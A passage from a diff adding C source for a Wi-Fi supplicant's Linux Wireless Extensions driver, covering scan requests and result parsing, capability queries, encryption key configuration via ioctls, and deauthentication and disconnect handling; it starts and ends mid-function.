close(drv->ioctl_sock); + if (drv->mlme_sock >= 0) + close(drv->mlme_sock); + os_free(drv->assoc_req_ies); + os_free(drv->assoc_resp_ies); + os_free(drv); +} + + +/** + * wpa_driver_wext_scan_timeout - Scan timeout to report scan completion + * @eloop_ctx: Unused + * @timeout_ctx: ctx argument given to wpa_driver_wext_init() + * + * This function can be used as registered timeout when starting a scan to + * generate a scan completed event if the driver does not report this. + */ +void wpa_driver_wext_scan_timeout(void *eloop_ctx, void *timeout_ctx) +{ + wpa_printf(MSG_DEBUG, "Scan timeout - try to get results"); + wpa_supplicant_event(timeout_ctx, EVENT_SCAN_RESULTS, NULL); +} + + +/** + * wpa_driver_wext_scan - Request the driver to initiate scan + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @param: Scan parameters (specific SSID to scan for (ProbeReq), etc.) + * Returns: 0 on success, -1 on failure + */ +int wpa_driver_wext_scan(void *priv, struct wpa_driver_scan_params *params) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0, timeout; + struct iw_scan_req req; + const u8 *ssid = params->ssids[0].ssid; + size_t ssid_len = params->ssids[0].ssid_len; + + if (ssid_len > IW_ESSID_MAX_SIZE) { + wpa_printf(MSG_DEBUG, "%s: too long SSID (%lu)", + __FUNCTION__, (unsigned long) ssid_len); + return -1; + } + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + + if (ssid && ssid_len) { + os_memset(&req, 0, sizeof(req)); + req.essid_len = ssid_len; + req.bssid.sa_family = ARPHRD_ETHER; + os_memset(req.bssid.sa_data, 0xff, ETH_ALEN); + os_memcpy(req.essid, ssid, ssid_len); + iwr.u.data.pointer = (caddr_t) &req; + iwr.u.data.length = sizeof(req); + iwr.u.data.flags = IW_SCAN_THIS_ESSID; + } + + if (ioctl(drv->ioctl_sock, SIOCSIWSCAN, &iwr) < 0) { + perror("ioctl[SIOCSIWSCAN]"); + ret = -1; + } + + /* Not all drivers generate "scan completed" wireless event, so try to + * read results after a timeout. */ + timeout = 10; + if (drv->scan_complete_events) { + /* + * The driver seems to deliver SIOCGIWSCAN events to notify + * when scan is complete, so use longer timeout to avoid race + * conditions with scanning and following association request. + */ + timeout = 30; + } + wpa_printf(MSG_DEBUG, "Scan requested (ret=%d) - scan timeout %d " + "seconds", ret, timeout); + eloop_cancel_timeout(wpa_driver_wext_scan_timeout, drv, drv->ctx); + eloop_register_timeout(timeout, 0, wpa_driver_wext_scan_timeout, drv, + drv->ctx); + + return ret; +} + + +static u8 * wpa_driver_wext_giwscan(struct wpa_driver_wext_data *drv, + size_t *len) +{ + struct iwreq iwr; + u8 *res_buf; + size_t res_buf_len; + + res_buf_len = IW_SCAN_MAX_DATA; + for (;;) { + res_buf = os_malloc(res_buf_len); + if (res_buf == NULL) + return NULL; + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.data.pointer = res_buf; + iwr.u.data.length = res_buf_len; + + if (ioctl(drv->ioctl_sock, SIOCGIWSCAN, &iwr) == 0) + break; + + if (errno == E2BIG && res_buf_len < 65535) { + os_free(res_buf); + res_buf = NULL; + res_buf_len *= 2; + if (res_buf_len > 65535) + res_buf_len = 65535; /* 16-bit length field */ + wpa_printf(MSG_DEBUG, "Scan results did not fit - " + "trying larger buffer (%lu bytes)", + (unsigned long) res_buf_len); + } else { + perror("ioctl[SIOCGIWSCAN]"); + os_free(res_buf); + return NULL; + } + } + + if (iwr.u.data.length > res_buf_len) { + os_free(res_buf); + return NULL; + } + *len = iwr.u.data.length; + + return res_buf; +} + + +/* + * Data structure for collecting WEXT scan results. This is needed to allow + * the various methods of reporting IEs to be combined into a single IE buffer. + */ +struct wext_scan_data { + struct wpa_scan_res res; + u8 *ie; + size_t ie_len; + u8 ssid[32]; + size_t ssid_len; + int maxrate; +}; + + +static void wext_get_scan_mode(struct iw_event *iwe, + struct wext_scan_data *res) +{ + if (iwe->u.mode == IW_MODE_ADHOC) + res->res.caps |= IEEE80211_CAP_IBSS; + else if (iwe->u.mode == IW_MODE_MASTER || iwe->u.mode == IW_MODE_INFRA) + res->res.caps |= IEEE80211_CAP_ESS; +} + + +static void wext_get_scan_ssid(struct iw_event *iwe, + struct wext_scan_data *res, char *custom, + char *end) +{ + int ssid_len = iwe->u.essid.length; + if (custom + ssid_len > end) + return; + if (iwe->u.essid.flags && + ssid_len > 0 && + ssid_len <= IW_ESSID_MAX_SIZE) { + os_memcpy(res->ssid, custom, ssid_len); + res->ssid_len = ssid_len; + } +} + + +static void wext_get_scan_freq(struct iw_event *iwe, + struct wext_scan_data *res) +{ + int divi = 1000000, i; + + if (iwe->u.freq.e == 0) { + /* + * Some drivers do not report frequency, but a channel. + * Try to map this to frequency by assuming they are using + * IEEE 802.11b/g. But don't overwrite a previously parsed + * frequency if the driver sends both frequency and channel, + * since the driver may be sending an A-band channel that we + * don't handle here. + */ + + if (res->res.freq) + return; + + if (iwe->u.freq.m >= 1 && iwe->u.freq.m <= 13) { + res->res.freq = 2407 + 5 * iwe->u.freq.m; + return; + } else if (iwe->u.freq.m == 14) { + res->res.freq = 2484; + return; + } + } + + if (iwe->u.freq.e > 6) { + wpa_printf(MSG_DEBUG, "Invalid freq in scan results (BSSID=" + MACSTR " m=%d e=%d)", + MAC2STR(res->res.bssid), iwe->u.freq.m, + iwe->u.freq.e); + return; + } + + for (i = 0; i < iwe->u.freq.e; i++) + divi /= 10; + res->res.freq = iwe->u.freq.m / divi; +} + + +static void wext_get_scan_qual(struct wpa_driver_wext_data *drv, + struct iw_event *iwe, + struct wext_scan_data *res) +{ + res->res.qual = iwe->u.qual.qual; + res->res.noise = iwe->u.qual.noise; + res->res.level = iwe->u.qual.level; + if (iwe->u.qual.updated & IW_QUAL_QUAL_INVALID) + res->res.flags |= WPA_SCAN_QUAL_INVALID; + if (iwe->u.qual.updated & IW_QUAL_LEVEL_INVALID) + res->res.flags |= WPA_SCAN_LEVEL_INVALID; + if (iwe->u.qual.updated & IW_QUAL_NOISE_INVALID) + res->res.flags |= WPA_SCAN_NOISE_INVALID; + if (iwe->u.qual.updated & IW_QUAL_DBM) + res->res.flags |= WPA_SCAN_LEVEL_DBM; + if ((iwe->u.qual.updated & IW_QUAL_DBM) || + ((iwe->u.qual.level != 0) && + (iwe->u.qual.level > drv->max_level))) { + if (iwe->u.qual.level >= 64) + res->res.level -= 0x100; + if (iwe->u.qual.noise >= 64) + res->res.noise -= 0x100; + } +} + + +static void wext_get_scan_encode(struct iw_event *iwe, + struct wext_scan_data *res) +{ + if (!(iwe->u.data.flags & IW_ENCODE_DISABLED)) + res->res.caps |= IEEE80211_CAP_PRIVACY; +} + + +static void wext_get_scan_rate(struct iw_event *iwe, + struct wext_scan_data *res, char *pos, + char *end) +{ + int maxrate; + char *custom = pos + IW_EV_LCP_LEN; + struct iw_param p; + size_t clen; + + clen = iwe->len; + if (custom + clen > end) + return; + maxrate = 0; + while (((ssize_t) clen) >= (ssize_t) sizeof(struct iw_param)) { + /* Note: may be misaligned, make a local, aligned copy */ + os_memcpy(&p, custom, sizeof(struct iw_param)); + if (p.value > maxrate) + maxrate = p.value; + clen -= sizeof(struct iw_param); + custom += sizeof(struct iw_param); + } + + /* Convert the maxrate from WE-style (b/s units) to + * 802.11 rates (500000 b/s units). + */ + res->maxrate = maxrate / 500000; +} + + +static void wext_get_scan_iwevgenie(struct iw_event *iwe, + struct wext_scan_data *res, char *custom, + char *end) +{ + char *genie, *gpos, *gend; + u8 *tmp; + + if (iwe->u.data.length == 0) + return; + + gpos = genie = custom; + gend = genie + iwe->u.data.length; + if (gend > end) { + wpa_printf(MSG_INFO, "IWEVGENIE overflow"); + return; + } + + tmp = os_realloc(res->ie, res->ie_len + gend - gpos); + if (tmp == NULL) + return; + os_memcpy(tmp + res->ie_len, gpos, gend - gpos); + res->ie = tmp; + res->ie_len += gend - gpos; +} + + +static void wext_get_scan_custom(struct iw_event *iwe, + struct wext_scan_data *res, char *custom, + char *end) +{ + size_t clen; + u8 *tmp; + + clen = iwe->u.data.length; + if (custom + clen > end) + return; + + if (clen > 7 && os_strncmp(custom, "wpa_ie=", 7) == 0) { + char *spos; + int bytes; + spos = custom + 7; + bytes = custom + clen - spos; + if (bytes & 1 || bytes == 0) + return; + bytes /= 2; + tmp = os_realloc(res->ie, res->ie_len + bytes); + if (tmp == NULL) + return; + res->ie = tmp; + if (hexstr2bin(spos, tmp + res->ie_len, bytes) < 0) + return; + res->ie_len += bytes; + } else if (clen > 7 && os_strncmp(custom, "rsn_ie=", 7) == 0) { + char *spos; + int bytes; + spos = custom + 7; + bytes = custom + clen - spos; + if (bytes & 1 || bytes == 0) + return; + bytes /= 2; + tmp = os_realloc(res->ie, res->ie_len + bytes); + if (tmp == NULL) + return; + res->ie = tmp; + if (hexstr2bin(spos, tmp + res->ie_len, bytes) < 0) + return; + res->ie_len += bytes; + } else if (clen > 4 && os_strncmp(custom, "tsf=", 4) == 0) { + char *spos; + int bytes; + u8 bin[8]; + spos = custom + 4; + bytes = custom + clen - spos; + if (bytes != 16) { + wpa_printf(MSG_INFO, "Invalid TSF length (%d)", bytes); + return; + } + bytes /= 2; + if (hexstr2bin(spos, bin, bytes) < 0) { + wpa_printf(MSG_DEBUG, "WEXT: Invalid TSF value"); + return; + } + res->res.tsf += WPA_GET_BE64(bin); + } +} + + +static int wext_19_iw_point(struct wpa_driver_wext_data *drv, u16 cmd) +{ + return drv->we_version_compiled > 18 && + (cmd == SIOCGIWESSID || cmd == SIOCGIWENCODE || + cmd == IWEVGENIE || cmd == IWEVCUSTOM); +} + + +static void wpa_driver_wext_add_scan_entry(struct wpa_scan_results *res, + struct wext_scan_data *data) +{ + struct wpa_scan_res **tmp; + struct wpa_scan_res *r; + size_t extra_len; + u8 *pos, *end, *ssid_ie = NULL, *rate_ie = NULL; + + /* Figure out whether we need to fake any IEs */ + pos = data->ie; + end = pos + data->ie_len; + while (pos && pos + 1 < end) { + if (pos + 2 + pos[1] > end) + break; + if (pos[0] == WLAN_EID_SSID) + ssid_ie = pos; + else if (pos[0] == WLAN_EID_SUPP_RATES) + rate_ie = pos; + else if (pos[0] == WLAN_EID_EXT_SUPP_RATES) + rate_ie = pos; + pos += 2 + pos[1]; + } + + extra_len = 0; + if (ssid_ie == NULL) + extra_len += 2 + data->ssid_len; + if (rate_ie == NULL && data->maxrate) + extra_len += 3; + + r = os_zalloc(sizeof(*r) + extra_len + data->ie_len); + if (r == NULL) + return; + os_memcpy(r, &data->res, sizeof(*r)); + r->ie_len = extra_len + data->ie_len; + pos = (u8 *) (r + 1); + if (ssid_ie == NULL) { + /* + * Generate a fake SSID IE since the driver did not report + * a full IE list. + */ + *pos++ = WLAN_EID_SSID; + *pos++ = data->ssid_len; + os_memcpy(pos, data->ssid, data->ssid_len); + pos += data->ssid_len; + } + if (rate_ie == NULL && data->maxrate) { + /* + * Generate a fake Supported Rates IE since the driver did not + * report a full IE list. + */ + *pos++ = WLAN_EID_SUPP_RATES; + *pos++ = 1; + *pos++ = data->maxrate; + } + if (data->ie) + os_memcpy(pos, data->ie, data->ie_len); + + tmp = os_realloc_array(res->res, res->num + 1, + sizeof(struct wpa_scan_res *)); + if (tmp == NULL) { + os_free(r); + return; + } + tmp[res->num++] = r; + res->res = tmp; +} + + +/** + * wpa_driver_wext_get_scan_results - Fetch the latest scan results + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * Returns: Scan results on success, -1 on failure + */ +struct wpa_scan_results * wpa_driver_wext_get_scan_results(void *priv) +{ + struct wpa_driver_wext_data *drv = priv; + size_t len; + int first; + u8 *res_buf; + struct iw_event iwe_buf, *iwe = &iwe_buf; + char *pos, *end, *custom; + struct wpa_scan_results *res; + struct wext_scan_data data; + + res_buf = wpa_driver_wext_giwscan(drv, &len); + if (res_buf == NULL) + return NULL; + + first = 1; + + res = os_zalloc(sizeof(*res)); + if (res == NULL) { + os_free(res_buf); + return NULL; + } + + pos = (char *) res_buf; + end = (char *) res_buf + len; + os_memset(&data, 0, sizeof(data)); + + while (pos + IW_EV_LCP_LEN <= end) { + /* Event data may be unaligned, so make a local, aligned copy + * before processing. */ + os_memcpy(&iwe_buf, pos, IW_EV_LCP_LEN); + if (iwe->len <= IW_EV_LCP_LEN) + break; + + custom = pos + IW_EV_POINT_LEN; + if (wext_19_iw_point(drv, iwe->cmd)) { + /* WE-19 removed the pointer from struct iw_point */ + char *dpos = (char *) &iwe_buf.u.data.length; + int dlen = dpos - (char *) &iwe_buf; + os_memcpy(dpos, pos + IW_EV_LCP_LEN, + sizeof(struct iw_event) - dlen); + } else { + os_memcpy(&iwe_buf, pos, sizeof(struct iw_event)); + custom += IW_EV_POINT_OFF; + } + + switch (iwe->cmd) { + case SIOCGIWAP: + if (!first) + wpa_driver_wext_add_scan_entry(res, &data); + first = 0; + os_free(data.ie); + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.res.bssid, + iwe->u.ap_addr.sa_data, ETH_ALEN); + break; + case SIOCGIWMODE: + wext_get_scan_mode(iwe, &data); + break; + case SIOCGIWESSID: + wext_get_scan_ssid(iwe, &data, custom, end); + break; + case SIOCGIWFREQ: + wext_get_scan_freq(iwe, &data); + break; + case IWEVQUAL: + wext_get_scan_qual(drv, iwe, &data); + break; + case SIOCGIWENCODE: + wext_get_scan_encode(iwe, &data); + break; + case SIOCGIWRATE: + wext_get_scan_rate(iwe, &data, pos, end); + break; + case IWEVGENIE: + wext_get_scan_iwevgenie(iwe, &data, custom, end); + break; + case IWEVCUSTOM: + wext_get_scan_custom(iwe, &data, custom, end); + break; + } + + pos += iwe->len; + } + os_free(res_buf); + res_buf = NULL; + if (!first) + wpa_driver_wext_add_scan_entry(res, &data); + os_free(data.ie); + + wpa_printf(MSG_DEBUG, "Received %lu bytes of scan results (%lu BSSes)", + (unsigned long) len, (unsigned long) res->num); + + return res; +} + + +static int wpa_driver_wext_get_range(void *priv) +{ + struct wpa_driver_wext_data *drv = priv; + struct iw_range *range; + struct iwreq iwr; + int minlen; + size_t buflen; + + /* + * Use larger buffer than struct iw_range in order to allow the + * structure to grow in the future. + */ + buflen = sizeof(struct iw_range) + 500; + range = os_zalloc(buflen); + if (range == NULL) + return -1; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.data.pointer = (caddr_t) range; + iwr.u.data.length = buflen; + + minlen = ((char *) &range->enc_capa) - (char *) range + + sizeof(range->enc_capa); + + if (ioctl(drv->ioctl_sock, SIOCGIWRANGE, &iwr) < 0) { + perror("ioctl[SIOCGIWRANGE]"); + os_free(range); + return -1; + } else if (iwr.u.data.length >= minlen && + range->we_version_compiled >= 18) { + wpa_printf(MSG_DEBUG, "SIOCGIWRANGE: WE(compiled)=%d " + "WE(source)=%d enc_capa=0x%x", + range->we_version_compiled, + range->we_version_source, + range->enc_capa); + drv->has_capability = 1; + drv->we_version_compiled = range->we_version_compiled; + if (range->enc_capa & IW_ENC_CAPA_WPA) { + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA | + WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK; + } + if (range->enc_capa & IW_ENC_CAPA_WPA2) { + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA2 | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK; + } + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_WEP40 | + WPA_DRIVER_CAPA_ENC_WEP104; + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_WEP128; + if (range->enc_capa & IW_ENC_CAPA_CIPHER_TKIP) + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_TKIP; + if (range->enc_capa & IW_ENC_CAPA_CIPHER_CCMP) + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_CCMP; + if (range->enc_capa & IW_ENC_CAPA_4WAY_HANDSHAKE) + drv->capa.flags |= WPA_DRIVER_FLAGS_4WAY_HANDSHAKE; + drv->capa.auth = WPA_DRIVER_AUTH_OPEN | + WPA_DRIVER_AUTH_SHARED | + WPA_DRIVER_AUTH_LEAP; + drv->capa.max_scan_ssids = 1; + + wpa_printf(MSG_DEBUG, " capabilities: key_mgmt 0x%x enc 0x%x " + "flags 0x%x", + drv->capa.key_mgmt, drv->capa.enc, drv->capa.flags); + } else { + wpa_printf(MSG_DEBUG, "SIOCGIWRANGE: too old (short) data - " + "assuming WPA is not supported"); + } + + drv->max_level = range->max_qual.level; + + os_free(range); + return 0; +} + + +static int wpa_driver_wext_set_psk(struct wpa_driver_wext_data *drv, + const u8 *psk) +{ + struct iw_encode_ext *ext; + struct iwreq iwr; + int ret; + + wpa_printf(MSG_DEBUG, "%s", __FUNCTION__); + + if (!(drv->capa.flags & WPA_DRIVER_FLAGS_4WAY_HANDSHAKE)) + return 0; + + if (!psk) + return 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + + ext = os_zalloc(sizeof(*ext) + PMK_LEN); + if (ext == NULL) + return -1; + + iwr.u.encoding.pointer = (caddr_t) ext; + iwr.u.encoding.length = sizeof(*ext) + PMK_LEN; + ext->key_len = PMK_LEN; + os_memcpy(&ext->key, psk, ext->key_len); + ext->alg = IW_ENCODE_ALG_PMK; + + ret = ioctl(drv->ioctl_sock, SIOCSIWENCODEEXT, &iwr); + if (ret < 0) + perror("ioctl[SIOCSIWENCODEEXT] PMK"); + os_free(ext); + + return ret; +} + + +static int wpa_driver_wext_set_key_ext(void *priv, enum wpa_alg alg, + const u8 *addr, int key_idx, + int set_tx, const u8 *seq, + size_t seq_len, + const u8 *key, size_t key_len) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + struct iw_encode_ext *ext; + + if (seq_len > IW_ENCODE_SEQ_MAX_SIZE) { + wpa_printf(MSG_DEBUG, "%s: Invalid seq_len %lu", + __FUNCTION__, (unsigned long) seq_len); + return -1; + } + + ext = os_zalloc(sizeof(*ext) + key_len); + if (ext == NULL) + return -1; + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.encoding.flags = key_idx + 1; + iwr.u.encoding.flags |= IW_ENCODE_TEMP; + if (alg == WPA_ALG_NONE) + iwr.u.encoding.flags |= IW_ENCODE_DISABLED; + iwr.u.encoding.pointer = (caddr_t) ext; + iwr.u.encoding.length = sizeof(*ext) + key_len; + + if (addr == NULL || is_broadcast_ether_addr(addr)) + ext->ext_flags |= IW_ENCODE_EXT_GROUP_KEY; + if (set_tx) + ext->ext_flags |= IW_ENCODE_EXT_SET_TX_KEY; + + ext->addr.sa_family = ARPHRD_ETHER; + if (addr) + os_memcpy(ext->addr.sa_data, addr, ETH_ALEN); + else + os_memset(ext->addr.sa_data, 0xff, ETH_ALEN); + if (key && key_len) { + os_memcpy(ext + 1, key, key_len); + ext->key_len = key_len; + } + switch (alg) { + case WPA_ALG_NONE: + ext->alg = IW_ENCODE_ALG_NONE; + break; + case WPA_ALG_WEP: + ext->alg = IW_ENCODE_ALG_WEP; + break; + case WPA_ALG_TKIP: + ext->alg = IW_ENCODE_ALG_TKIP; + break; + case WPA_ALG_CCMP: + ext->alg = IW_ENCODE_ALG_CCMP; + break; + case WPA_ALG_PMK: + ext->alg = IW_ENCODE_ALG_PMK; + break; +#ifdef CONFIG_IEEE80211W + case WPA_ALG_IGTK: + ext->alg = IW_ENCODE_ALG_AES_CMAC; + break; +#endif /* CONFIG_IEEE80211W */ + default: + wpa_printf(MSG_DEBUG, "%s: Unknown algorithm %d", + __FUNCTION__, alg); + os_free(ext); + return -1; + } + + if (seq && seq_len) { + ext->ext_flags |= IW_ENCODE_EXT_RX_SEQ_VALID; + os_memcpy(ext->rx_seq, seq, seq_len); + } + + if (ioctl(drv->ioctl_sock, SIOCSIWENCODEEXT, &iwr) < 0) { + ret = errno == EOPNOTSUPP ? -2 : -1; + if (errno == ENODEV) { + /* + * ndiswrapper seems to be returning incorrect error + * code.. */ + ret = -2; + } + + perror("ioctl[SIOCSIWENCODEEXT]"); + } + + os_free(ext); + return ret; +} + + +/** + * wpa_driver_wext_set_key - Configure encryption key + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @priv: Private driver interface data + * @alg: Encryption algorithm (%WPA_ALG_NONE, %WPA_ALG_WEP, + * %WPA_ALG_TKIP, %WPA_ALG_CCMP); %WPA_ALG_NONE clears the key. + * @addr: Address of the peer STA or ff:ff:ff:ff:ff:ff for + * broadcast/default keys + * @key_idx: key index (0..3), usually 0 for unicast keys + * @set_tx: Configure this key as the default Tx key (only used when + * driver does not support separate unicast/individual key + * @seq: Sequence number/packet number, seq_len octets, the next + * packet number to be used for in replay protection; configured + * for Rx keys (in most cases, this is only used with broadcast + * keys and set to zero for unicast keys) + * @seq_len: Length of the seq, depends on the algorithm: + * TKIP: 6 octets, CCMP: 6 octets + * @key: Key buffer; TKIP: 16-byte temporal key, 8-byte Tx Mic key, + * 8-byte Rx Mic Key + * @key_len: Length of the key buffer in octets (WEP: 5 or 13, + * TKIP: 32, CCMP: 16) + * Returns: 0 on success, -1 on failure + * + * This function uses SIOCSIWENCODEEXT by default, but tries to use + * SIOCSIWENCODE if the extended ioctl fails when configuring a WEP key. + */ +int wpa_driver_wext_set_key(const char *ifname, void *priv, enum wpa_alg alg, + const u8 *addr, int key_idx, + int set_tx, const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + wpa_printf(MSG_DEBUG, "%s: alg=%d key_idx=%d set_tx=%d seq_len=%lu " + "key_len=%lu", + __FUNCTION__, alg, key_idx, set_tx, + (unsigned long) seq_len, (unsigned long) key_len); + + ret = wpa_driver_wext_set_key_ext(drv, alg, addr, key_idx, set_tx, + seq, seq_len, key, key_len); + if (ret == 0) + return 0; + + if (ret == -2 && + (alg == WPA_ALG_NONE || alg == WPA_ALG_WEP)) { + wpa_printf(MSG_DEBUG, "Driver did not support " + "SIOCSIWENCODEEXT, trying SIOCSIWENCODE"); + ret = 0; + } else { + wpa_printf(MSG_DEBUG, "Driver did not support " + "SIOCSIWENCODEEXT"); + return ret; + } + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.encoding.flags = key_idx + 1; + iwr.u.encoding.flags |= IW_ENCODE_TEMP; + if (alg == WPA_ALG_NONE) + iwr.u.encoding.flags |= IW_ENCODE_DISABLED; + iwr.u.encoding.pointer = (caddr_t) key; + iwr.u.encoding.length = key_len; + + if (ioctl(drv->ioctl_sock, SIOCSIWENCODE, &iwr) < 0) { + perror("ioctl[SIOCSIWENCODE]"); + ret = -1; + } + + if (set_tx && alg != WPA_ALG_NONE) { + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.encoding.flags = key_idx + 1; + iwr.u.encoding.flags |= IW_ENCODE_TEMP; + iwr.u.encoding.pointer = (caddr_t) NULL; + iwr.u.encoding.length = 0; + if (ioctl(drv->ioctl_sock, SIOCSIWENCODE, &iwr) < 0) { + perror("ioctl[SIOCSIWENCODE] (set_tx)"); + ret = -1; + } + } + + return ret; +} + + +static int wpa_driver_wext_set_countermeasures(void *priv, + int enabled) +{ + struct wpa_driver_wext_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s", __FUNCTION__); + return wpa_driver_wext_set_auth_param(drv, + IW_AUTH_TKIP_COUNTERMEASURES, + enabled); +} + + +static int wpa_driver_wext_set_drop_unencrypted(void *priv, + int enabled) +{ + struct wpa_driver_wext_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s", __FUNCTION__); + drv->use_crypt = enabled; + return wpa_driver_wext_set_auth_param(drv, IW_AUTH_DROP_UNENCRYPTED, + enabled); +} + + +static int wpa_driver_wext_mlme(struct wpa_driver_wext_data *drv, + const u8 *addr, int cmd, int reason_code) +{ + struct iwreq iwr; + struct iw_mlme mlme; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + os_memset(&mlme, 0, sizeof(mlme)); + mlme.cmd = cmd; + mlme.reason_code = reason_code; + mlme.addr.sa_family = ARPHRD_ETHER; + os_memcpy(mlme.addr.sa_data, addr, ETH_ALEN); + iwr.u.data.pointer = (caddr_t) &mlme; + iwr.u.data.length = sizeof(mlme); + + if (ioctl(drv->ioctl_sock, SIOCSIWMLME, &iwr) < 0) { + perror("ioctl[SIOCSIWMLME]"); + ret = -1; + } + + return ret; +} + + +static void wpa_driver_wext_disconnect(struct wpa_driver_wext_data *drv) +{ + struct iwreq iwr; + const u8 null_bssid[ETH_ALEN] = { 0, 0, 0, 0, 0, 0 }; +#ifndef ANDROID + u8 ssid[32]; + int i; +#endif /* ANDROID */ + + /* + * Only force-disconnect when the card is in infrastructure mode, + * otherwise the driver might interpret the cleared BSSID and random + * SSID as an attempt to create a new ad-hoc network. + */ + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + if (ioctl(drv->ioctl_sock, SIOCGIWMODE, &iwr) < 0) { + perror("ioctl[SIOCGIWMODE]"); + iwr.u.mode = IW_MODE_INFRA; + } + + if (iwr.u.mode == IW_MODE_INFRA) { + /* Clear the BSSID selection */ + if (wpa_driver_wext_set_bssid(drv, null_bssid) < 0) { + wpa_printf(MSG_DEBUG, "WEXT: Failed to clear BSSID " + "selection on disconnect"); + } + +#ifndef ANDROID + if (drv->cfg80211) { + /* + * cfg80211 supports SIOCSIWMLME commands, so there is + * no need for the random SSID hack, but clear the + * SSID. + */ + if (wpa_driver_wext_set_ssid(drv, (u8 *) "", 0) < 0) { + wpa_printf(MSG_DEBUG, "WEXT: Failed to clear " + "SSID on disconnect"); + } + return; + } + + /* + * Set a random SSID to make sure the driver will not be trying + * to associate with something even if it does not understand + * SIOCSIWMLME commands (or tries to associate automatically + * after deauth/disassoc). + */ + for (i = 0; i < 32; i++) + ssid[i] = rand() & 0xFF; + if (wpa_driver_wext_set_ssid(drv, ssid, 32) < 0) { + wpa_printf(MSG_DEBUG, "WEXT: Failed to set bogus " + "SSID to disconnect"); + } +#endif /* ANDROID */ + } +} + + +static int wpa_driver_wext_deauthenticate(void *priv, const u8 *addr, + int reason_code) +{ + struct wpa_driver_wext_data *drv = priv; + int ret; + wpa_printf(MSG_DEBUG, "%s", __FUNCTION__); + ret = wpa_driver_wext_mlme(drv, addr, IW_MLME_DEAUTH, reason_code); + wpa_driver_wext_disconnect(drv); + return ret; +} + + +static int wpa_driver_wext_set_gen_ie(void *priv, const u8 *ie, + size_t ie_len) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.data.pointer = (caddr_t) ie; + iwr.u.data.length = ie_len; + + if (ioctl(drv->ioctl_sock, SIOCSIWGENIE, &iwr) < 0) { + perror("ioctl[SIOCSIWGENIE]"); + ret = -1; + } + + return ret; +} + + +int wpa_driver_wext_cipher2wext(int cipher) +{ + switch (cipher) { + case CIPHER_NONE: + return IW_AUTH_CIPHER_NONE; + case CIPHER_WEP40: + return IW_AUTH_CIPHER_WEP40; + case CIPHER_TKIP: + return IW_AUTH_CIPHER_TKIP; + case CIPHER_CCMP: + return IW_AUTH_CIPHER_CCMP; + case CIPHER_WEP104: + return IW_AUTH_CIPHER_WEP104; + default: + return 0; + } +} + + +int wpa_driver_wext_keymgmt2wext(int keymgmt) +{ + switch (keymgmt) { + case KEY_MGMT_802_1X: + case KEY_MGMT_802_1X_NO_WPA: + return IW_AUTH_KEY_MGMT_802_1X; + case KEY_MGMT_PSK: + return IW_AUTH_KEY_MGMT_PSK; + default: + return 0; + } +} + + +static int +wpa_driver_wext_auth_alg_fallback(struct wpa_driver_wext_data *drv, + struct wpa_driver_associate_params *params) +{ + struct iwreq iwr; + int ret = 0; + + wpa_printf(MSG_DEBUG, "WEXT: Driver did not support " + "SIOCSIWAUTH for AUTH_ALG, trying SIOCSIWENCODE"); + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + /* Just changing mode, not actual keys */ + iwr.u.encoding.flags = 0; + iwr.u.encoding.pointer = (caddr_t) NULL; + iwr.u.encoding.length = 0; + + /* + * Note: IW_ENCODE_{OPEN,RESTRICTED} can be interpreted to mean two + * different things. Here they are used to indicate Open System vs. + * Shared Key authentication algorithm. However, some drivers may use + * them to select between open/restricted WEP encrypted (open = allow + * both unencrypted and encrypted frames; restricted = only allow + * encrypted frames). + */ + + if (!drv->use_crypt) { + iwr.u.encoding.flags |= IW_ENCODE_DISABLED; + } else { + if (params->auth_alg & WPA_AUTH_ALG_OPEN) + iwr.u.encoding.flags |= IW_ENCODE_OPEN; + if (params->auth_alg & WPA_AUTH_ALG_SHARED) + iwr.u.encoding.flags |= IW_ENCODE_RESTRICTED; + } + + if (ioctl(drv->ioctl_sock, SIOCSIWENCODE, &iwr) < 0) { + perror("ioctl[SIOCSIWENCODE]"); + ret = -1; + } + + return ret; +} + + +int wpa_driver_wext_associate(void *priv, + struct wpa_driver_associate_params *params) +{ + struct wpa_driver_wext_data *drv = priv; + int ret = 0; + int allow_unencrypted_eapol; + int value; + + wpa_printf(MSG_DEBUG, 